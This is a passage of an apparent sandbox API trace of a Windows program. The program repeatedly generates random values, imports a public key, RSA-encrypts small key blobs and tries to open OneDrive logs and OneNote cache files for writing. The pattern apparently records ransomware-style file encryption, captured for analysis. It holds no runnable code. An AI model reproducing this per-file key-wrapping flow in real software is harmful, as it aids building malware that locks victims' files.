szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0172.802] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.802] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.802] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0172.802] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.802] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0172.806] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.806] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.806] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0172.806] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0172.806] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0172.817] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x657900) returned 1 [0172.817] CryptGetKeyParam (in: hKey=0x657900, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0172.817] CryptEncrypt (in: hKey=0x657900, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x36c0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x36c0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0172.817] GetLastError () returned 0x0 [0172.817] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0172.817] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0172.829] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6578c0) returned 1 [0172.829] CryptGetKeyParam (in: hKey=0x6578c0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0172.829] CryptEncrypt (in: hKey=0x6578c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x36d0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x36d0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0172.829] GetLastError () returned 0x0 [0172.829] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.829] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\StandaloneUpdate_2017-07-21_115555_e74-e78.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\standaloneupdate_2017-07-21_115555_e74-e78.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.829] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0172.833] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.833] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.833] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0172.833] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.833] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0172.837] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.837] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.837] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0172.837] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.837] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0172.848] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x658000) returned 1 [0172.848] CryptGetKeyParam (in: hKey=0x658000, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0172.848] CryptEncrypt (in: hKey=0x658000, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x36e0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x36e0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0172.848] GetLastError () returned 0x0 [0172.848] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0172.848] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0172.859] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x657c40) returned 1 [0172.859] CryptGetKeyParam (in: hKey=0x657c40, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0172.859] CryptEncrypt (in: hKey=0x657c40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x36f0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x36f0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0172.860] GetLastError () returned 0x0 [0172.860] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.860] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\StandaloneUpdate_2017-11-10_161047_cc8-42c.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\standaloneupdate_2017-11-10_161047_cc8-42c.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.881] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0172.885] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.885] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.885] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0172.885] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.885] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0172.889] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.889] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.889] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0172.889] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.889] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0172.904] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x657880) returned 1 [0172.904] CryptGetKeyParam (in: hKey=0x657880, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0172.904] CryptEncrypt (in: hKey=0x657880, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3700000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3700000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0172.904] GetLastError () returned 0x0 [0172.904] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.904] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0172.916] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x635d18) returned 1 [0172.916] CryptGetKeyParam (in: hKey=0x635d18, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0172.916] CryptEncrypt (in: hKey=0x635d18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3710000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3710000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0172.916] GetLastError () returned 0x0 [0172.916] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.916] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000000.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000000.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.916] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0172.920] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.920] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.920] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0172.920] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0172.920] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0172.925] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.925] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.925] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0172.925] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.925] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0172.939] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x657c80) returned 1 [0172.939] CryptGetKeyParam (in: hKey=0x657c80, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0172.939] CryptEncrypt (in: hKey=0x657c80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3720000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3720000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0172.940] GetLastError () returned 0x0 [0172.940] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0172.940] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0172.956] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x635cd8) returned 1 [0172.956] CryptGetKeyParam (in: hKey=0x635cd8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0172.956] CryptEncrypt (in: hKey=0x635cd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3730000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3730000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0172.956] GetLastError () returned 0x0 [0172.956] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.956] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000001.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000001.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.957] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0172.960] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.960] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.960] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0172.960] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.960] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0172.964] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.964] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.964] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0172.964] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.964] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0172.978] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66e6c8) returned 1 [0172.978] CryptGetKeyParam (in: hKey=0x66e6c8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0172.978] CryptEncrypt (in: hKey=0x66e6c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3740000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3740000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0172.978] GetLastError () returned 0x0 [0172.978] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.978] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0172.993] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66e208) returned 1 [0172.993] CryptGetKeyParam (in: hKey=0x66e208, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0172.993] CryptEncrypt (in: hKey=0x66e208, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3750000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3750000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0172.994] GetLastError () returned 0x0 [0172.994] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0172.994] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000004.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000004.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.994] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0172.999] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.000] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.000] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0173.000] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0173.000] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0173.004] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.005] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.005] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0173.005] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0173.005] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0173.020] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66e088) returned 1 [0173.020] CryptGetKeyParam (in: hKey=0x66e088, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.020] CryptEncrypt (in: hKey=0x66e088, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3760000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3760000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0173.021] GetLastError () returned 0x0 [0173.021] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0173.021] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0173.035] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66e708) returned 1 [0173.035] CryptGetKeyParam (in: hKey=0x66e708, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.035] CryptEncrypt (in: hKey=0x66e708, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3770000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3770000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0173.036] GetLastError () returned 0x0 [0173.036] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0173.036] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000005.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000005.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0173.036] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0173.041] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.041] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.041] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0173.041] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0173.041] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0173.047] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.047] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.047] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0173.047] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0173.047] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0173.060] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66e0c8) returned 1 [0173.060] CryptGetKeyParam (in: hKey=0x66e0c8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.060] CryptEncrypt (in: hKey=0x66e0c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3780000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3780000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0173.060] GetLastError () returned 0x0 [0173.060] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0173.061] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0173.073] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66e448) returned 1 [0173.073] CryptGetKeyParam (in: hKey=0x66e448, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.073] CryptEncrypt (in: hKey=0x66e448, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3790000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3790000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0173.073] GetLastError () returned 0x0 [0173.073] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0173.074] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000006.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000006.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0173.074] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4540) returned 1 [0173.077] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.077] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.077] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0173.077] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0173.078] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0173.082] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.082] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.082] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0173.082] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 